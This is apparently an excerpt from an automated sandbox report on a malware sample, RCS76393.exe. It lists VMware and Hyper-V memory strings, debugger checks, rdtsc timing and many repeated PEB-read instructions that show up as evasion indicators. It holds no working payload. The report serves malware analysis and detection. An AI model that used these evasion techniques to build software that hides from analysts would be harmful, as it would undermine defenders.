Source: explorer.exe, 00000005.00000000.346305900.0000000008540000.00000004.00000001.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.344732574.00000000082E2000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.339421845.0000000005D50000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000005.00000000.340676786.00000000063F6000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.345328681.00000000083EB000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000005.00000000.340676786.00000000063F6000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.344732574.00000000082E2000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}>
Source: explorer.exe, 00000005.00000000.339421845.0000000005D50000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000005.00000000.339421845.0000000005D50000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000005.00000000.344732574.00000000082E2000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: explorer.exe, 00000005.00000000.345500910.0000000008430000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000-;
Source: explorer.exe, 00000005.00000000.339421845.0000000005D50000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
Source: explorer.exe, 00000005.00000000.329599785.000000000095C000.00000004.00000020.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}G

Queries a list of all running processes

Source: C:\Users\user\Desktop\RCS76393.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Checks if the current process is being debugged

Source: C:\Users\user\Desktop\RCS76393.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process queried: DebugPort			Jump to behavior

Contains functionality for execution timing, often used to detect debuggers

Source: C:\Users\user\Desktop\RCS76393.exe

Code function: 3_2_004088B0 rdtsc

3_2_004088B0

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Source: C:\Users\user\Desktop\RCS76393.exe

Code function: 3_2_00409B20 LdrLoadDll,

3_2_00409B20

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A220A0 mov eax, dword ptr fs:[00000030h]		3_2_00A220A0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A220A0 mov eax, dword ptr fs:[00000030h]		3_2_00A220A0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A220A0 mov eax, dword ptr fs:[00000030h]		3_2_00A220A0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A220A0 mov eax, dword ptr fs:[00000030h]		3_2_00A220A0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A220A0 mov eax, dword ptr fs:[00000030h]		3_2_00A220A0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A220A0 mov eax, dword ptr fs:[00000030h]		3_2_00A220A0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A390AF mov eax, dword ptr fs:[00000030h]		3_2_00A390AF
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A2F0BF mov ecx, dword ptr fs:[00000030h]		3_2_00A2F0BF
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A2F0BF mov eax, dword ptr fs:[00000030h]		3_2_00A2F0BF
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A2F0BF mov eax, dword ptr fs:[00000030h]		3_2_00A2F0BF
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F9080 mov eax, dword ptr fs:[00000030h]		3_2_009F9080
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A73884 mov eax, dword ptr fs:[00000030h]		3_2_00A73884
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A73884 mov eax, dword ptr fs:[00000030h]		3_2_00A73884
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F58EC mov eax, dword ptr fs:[00000030h]		3_2_009F58EC
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A8B8D0 mov eax, dword ptr fs:[00000030h]		3_2_00A8B8D0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A8B8D0 mov ecx, dword ptr fs:[00000030h]		3_2_00A8B8D0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A8B8D0 mov eax, dword ptr fs:[00000030h]		3_2_00A8B8D0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A8B8D0 mov eax, dword ptr fs:[00000030h]		3_2_00A8B8D0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A8B8D0 mov eax, dword ptr fs:[00000030h]		3_2_00A8B8D0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A8B8D0 mov eax, dword ptr fs:[00000030h]		3_2_00A8B8D0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A0B02A mov eax, dword ptr fs:[00000030h]		3_2_00A0B02A
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A0B02A mov eax, dword ptr fs:[00000030h]		3_2_00A0B02A
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A0B02A mov eax, dword ptr fs:[00000030h]		3_2_00A0B02A
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A0B02A mov eax, dword ptr fs:[00000030h]		3_2_00A0B02A
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A2002D mov eax, dword ptr fs:[00000030h]		3_2_00A2002D
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A2002D mov eax, dword ptr fs:[00000030h]		3_2_00A2002D
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A2002D mov eax, dword ptr fs:[00000030h]		3_2_00A2002D
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A2002D mov eax, dword ptr fs:[00000030h]		3_2_00A2002D
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A2002D mov eax, dword ptr fs:[00000030h]		3_2_00A2002D
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A77016 mov eax, dword ptr fs:[00000030h]		3_2_00A77016
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A77016 mov eax, dword ptr fs:[00000030h]		3_2_00A77016
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A77016 mov eax, dword ptr fs:[00000030h]		3_2_00A77016
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AC4015 mov eax, dword ptr fs:[00000030h]		3_2_00AC4015
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AC4015 mov eax, dword ptr fs:[00000030h]		3_2_00AC4015
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AB2073 mov eax, dword ptr fs:[00000030h]		3_2_00AB2073
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AC1074 mov eax, dword ptr fs:[00000030h]		3_2_00AC1074
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A10050 mov eax, dword ptr fs:[00000030h]		3_2_00A10050
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A10050 mov eax, dword ptr fs:[00000030h]		3_2_00A10050
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A769A6 mov eax, dword ptr fs:[00000030h]		3_2_00A769A6
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A261A0 mov eax, dword ptr fs:[00000030h]		3_2_00A261A0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A261A0 mov eax, dword ptr fs:[00000030h]		3_2_00A261A0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A751BE mov eax, dword ptr fs:[00000030h]		3_2_00A751BE
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A751BE mov eax, dword ptr fs:[00000030h]		3_2_00A751BE
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A751BE mov eax, dword ptr fs:[00000030h]		3_2_00A751BE
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A751BE mov eax, dword ptr fs:[00000030h]		3_2_00A751BE
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A1C182 mov eax, dword ptr fs:[00000030h]		3_2_00A1C182
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A2A185 mov eax, dword ptr fs:[00000030h]		3_2_00A2A185
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A22990 mov eax, dword ptr fs:[00000030h]		3_2_00A22990
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A841E8 mov eax, dword ptr fs:[00000030h]		3_2_00A841E8
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009FB1E1 mov eax, dword ptr fs:[00000030h]		3_2_009FB1E1
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009FB1E1 mov eax, dword ptr fs:[00000030h]		3_2_009FB1E1
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009FB1E1 mov eax, dword ptr fs:[00000030h]		3_2_009FB1E1
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A14120 mov eax, dword ptr fs:[00000030h]		3_2_00A14120
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A14120 mov eax, dword ptr fs:[00000030h]		3_2_00A14120
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A14120 mov eax, dword ptr fs:[00000030h]		3_2_00A14120
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A14120 mov eax, dword ptr fs:[00000030h]		3_2_00A14120
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A14120 mov ecx, dword ptr fs:[00000030h]		3_2_00A14120
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A2513A mov eax, dword ptr fs:[00000030h]		3_2_00A2513A
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A2513A mov eax, dword ptr fs:[00000030h]		3_2_00A2513A
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F9100 mov eax, dword ptr fs:[00000030h]		3_2_009F9100
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F9100 mov eax, dword ptr fs:[00000030h]		3_2_009F9100
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F9100 mov eax, dword ptr fs:[00000030h]		3_2_009F9100
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A1B944 mov eax, dword ptr fs:[00000030h]		3_2_00A1B944
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A1B944 mov eax, dword ptr fs:[00000030h]		3_2_00A1B944
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009FB171 mov eax, dword ptr fs:[00000030h]		3_2_009FB171
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009FB171 mov eax, dword ptr fs:[00000030h]		3_2_009FB171
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009FC962 mov eax, dword ptr fs:[00000030h]		3_2_009FC962
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A0AAB0 mov eax, dword ptr fs:[00000030h]		3_2_00A0AAB0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A0AAB0 mov eax, dword ptr fs:[00000030h]		3_2_00A0AAB0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A2FAB0 mov eax, dword ptr fs:[00000030h]		3_2_00A2FAB0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A2D294 mov eax, dword ptr fs:[00000030h]		3_2_00A2D294
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A2D294 mov eax, dword ptr fs:[00000030h]		3_2_00A2D294
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F52A5 mov eax, dword ptr fs:[00000030h]		3_2_009F52A5
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F52A5 mov eax, dword ptr fs:[00000030h]		3_2_009F52A5
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F52A5 mov eax, dword ptr fs:[00000030h]		3_2_009F52A5
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F52A5 mov eax, dword ptr fs:[00000030h]		3_2_009F52A5
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F52A5 mov eax, dword ptr fs:[00000030h]		3_2_009F52A5
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A22AE4 mov eax, dword ptr fs:[00000030h]		3_2_00A22AE4
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A22ACB mov eax, dword ptr fs:[00000030h]		3_2_00A22ACB
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009FAA16 mov eax, dword ptr fs:[00000030h]		3_2_009FAA16
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009FAA16 mov eax, dword ptr fs:[00000030h]		3_2_009FAA16
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A34A2C mov eax, dword ptr fs:[00000030h]		3_2_00A34A2C
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A34A2C mov eax, dword ptr fs:[00000030h]		3_2_00A34A2C
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F5210 mov eax, dword ptr fs:[00000030h]		3_2_009F5210
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F5210 mov ecx, dword ptr fs:[00000030h]		3_2_009F5210
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F5210 mov eax, dword ptr fs:[00000030h]		3_2_009F5210
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F5210 mov eax, dword ptr fs:[00000030h]		3_2_009F5210
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A08A0A mov eax, dword ptr fs:[00000030h]		3_2_00A08A0A
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A13A1C mov eax, dword ptr fs:[00000030h]		3_2_00A13A1C
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AAB260 mov eax, dword ptr fs:[00000030h]		3_2_00AAB260
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AAB260 mov eax, dword ptr fs:[00000030h]		3_2_00AAB260
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AC8A62 mov eax, dword ptr fs:[00000030h]		3_2_00AC8A62
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A3927A mov eax, dword ptr fs:[00000030h]		3_2_00A3927A
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F9240 mov eax, dword ptr fs:[00000030h]		3_2_009F9240
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F9240 mov eax, dword ptr fs:[00000030h]		3_2_009F9240
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F9240 mov eax, dword ptr fs:[00000030h]		3_2_009F9240
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F9240 mov eax, dword ptr fs:[00000030h]		3_2_009F9240
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00ABEA55 mov eax, dword ptr fs:[00000030h]		3_2_00ABEA55
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A84257 mov eax, dword ptr fs:[00000030h]		3_2_00A84257
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AC5BA5 mov eax, dword ptr fs:[00000030h]		3_2_00AC5BA5
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A24BAD mov eax, dword ptr fs:[00000030h]		3_2_00A24BAD
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A24BAD mov eax, dword ptr fs:[00000030h]		3_2_00A24BAD
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A24BAD mov eax, dword ptr fs:[00000030h]		3_2_00A24BAD
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AB138A mov eax, dword ptr fs:[00000030h]		3_2_00AB138A
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AAD380 mov ecx, dword ptr fs:[00000030h]		3_2_00AAD380
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A01B8F mov eax, dword ptr fs:[00000030h]		3_2_00A01B8F
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A01B8F mov eax, dword ptr fs:[00000030h]		3_2_00A01B8F
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A2B390 mov eax, dword ptr fs:[00000030h]		3_2_00A2B390
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A22397 mov eax, dword ptr fs:[00000030h]		3_2_00A22397
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A203E2 mov eax, dword ptr fs:[00000030h]		3_2_00A203E2
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A203E2 mov eax, dword ptr fs:[00000030h]		3_2_00A203E2
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A203E2 mov eax, dword ptr fs:[00000030h]		3_2_00A203E2
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A203E2 mov eax, dword ptr fs:[00000030h]		3_2_00A203E2
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A203E2 mov eax, dword ptr fs:[00000030h]		3_2_00A203E2
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A203E2 mov eax, dword ptr fs:[00000030h]		3_2_00A203E2
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A1DBE9 mov eax, dword ptr fs:[00000030h]		3_2_00A1DBE9
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A753CA mov eax, dword ptr fs:[00000030h]		3_2_00A753CA
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A753CA mov eax, dword ptr fs:[00000030h]		3_2_00A753CA
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AB131B mov eax, dword ptr fs:[00000030h]		3_2_00AB131B
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009FF358 mov eax, dword ptr fs:[00000030h]		3_2_009FF358
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A23B7A mov eax, dword ptr fs:[00000030h]		3_2_00A23B7A
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A23B7A mov eax, dword ptr fs:[00000030h]		3_2_00A23B7A
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009FDB40 mov eax, dword ptr fs:[00000030h]		3_2_009FDB40
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AC8B58 mov eax, dword ptr fs:[00000030h]		3_2_00AC8B58
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009FDB60 mov ecx, dword ptr fs:[00000030h]		3_2_009FDB60
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A0849B mov eax, dword ptr fs:[00000030h]		3_2_00A0849B
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AB14FB mov eax, dword ptr fs:[00000030h]		3_2_00AB14FB
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A76CF0 mov eax, dword ptr fs:[00000030h]		3_2_00A76CF0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A76CF0 mov eax, dword ptr fs:[00000030h]		3_2_00A76CF0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A76CF0 mov eax, dword ptr fs:[00000030h]		3_2_00A76CF0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AC8CD6 mov eax, dword ptr fs:[00000030h]		3_2_00AC8CD6
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A2BC2C mov eax, dword ptr fs:[00000030h]		3_2_00A2BC2C
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AC740D mov eax, dword ptr fs:[00000030h]		3_2_00AC740D
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AC740D mov eax, dword ptr fs:[00000030h]		3_2_00AC740D
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AC740D mov eax, dword ptr fs:[00000030h]		3_2_00AC740D
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AB1C06 mov eax, dword ptr fs:[00000030h]		3_2_00AB1C06
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AB1C06 mov eax, dword ptr fs:[00000030h]		3_2_00AB1C06
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AB1C06 mov eax, dword ptr fs:[00000030h]		3_2_00AB1C06
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AB1C06 mov eax, dword ptr fs:[00000030h]		3_2_00AB1C06
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AB1C06 mov eax, dword ptr fs:[00000030h]		3_2_00AB1C06
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AB1C06 mov eax, dword ptr fs:[00000030h]		3_2_00AB1C06
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AB1C06 mov eax, dword ptr fs:[00000030h]		3_2_00AB1C06
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AB1C06 mov eax, dword ptr fs:[00000030h]		3_2_00AB1C06
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AB1C06 mov eax, dword ptr fs:[00000030h]		3_2_00AB1C06
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AB1C06 mov eax, dword ptr fs:[00000030h]		3_2_00AB1C06
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AB1C06 mov eax, dword ptr fs:[00000030h]		3_2_00AB1C06
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AB1C06 mov eax, dword ptr fs:[00000030h]		3_2_00AB1C06
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AB1C06 mov eax, dword ptr fs:[00000030h]		3_2_00AB1C06
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AB1C06 mov eax, dword ptr fs:[00000030h]		3_2_00AB1C06
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A76C0A mov eax, dword ptr fs:[00000030h]		3_2_00A76C0A
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A76C0A mov eax, dword ptr fs:[00000030h]		3_2_00A76C0A
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A76C0A mov eax, dword ptr fs:[00000030h]		3_2_00A76C0A
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A76C0A mov eax, dword ptr fs:[00000030h]		3_2_00A76C0A
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A1746D mov eax, dword ptr fs:[00000030h]		3_2_00A1746D
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A2A44B mov eax, dword ptr fs:[00000030h]		3_2_00A2A44B
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A8C450 mov eax, dword ptr fs:[00000030h]		3_2_00A8C450
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A8C450 mov eax, dword ptr fs:[00000030h]		3_2_00A8C450
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AC05AC mov eax, dword ptr fs:[00000030h]		3_2_00AC05AC
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AC05AC mov eax, dword ptr fs:[00000030h]		3_2_00AC05AC
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A235A1 mov eax, dword ptr fs:[00000030h]		3_2_00A235A1
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F2D8A mov eax, dword ptr fs:[00000030h]		3_2_009F2D8A
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F2D8A mov eax, dword ptr fs:[00000030h]		3_2_009F2D8A
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F2D8A mov eax, dword ptr fs:[00000030h]		3_2_009F2D8A
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F2D8A mov eax, dword ptr fs:[00000030h]		3_2_009F2D8A
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F2D8A mov eax, dword ptr fs:[00000030h]		3_2_009F2D8A
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A21DB5 mov eax, dword ptr fs:[00000030h]		3_2_00A21DB5
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A21DB5 mov eax, dword ptr fs:[00000030h]		3_2_00A21DB5
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A21DB5 mov eax, dword ptr fs:[00000030h]		3_2_00A21DB5
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A22581 mov eax, dword ptr fs:[00000030h]		3_2_00A22581
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A22581 mov eax, dword ptr fs:[00000030h]		3_2_00A22581
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A22581 mov eax, dword ptr fs:[00000030h]		3_2_00A22581
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A22581 mov eax, dword ptr fs:[00000030h]		3_2_00A22581
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A2FD9B mov eax, dword ptr fs:[00000030h]		3_2_00A2FD9B
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A2FD9B mov eax, dword ptr fs:[00000030h]		3_2_00A2FD9B
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A0D5E0 mov eax, dword ptr fs:[00000030h]		3_2_00A0D5E0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A0D5E0 mov eax, dword ptr fs:[00000030h]		3_2_00A0D5E0
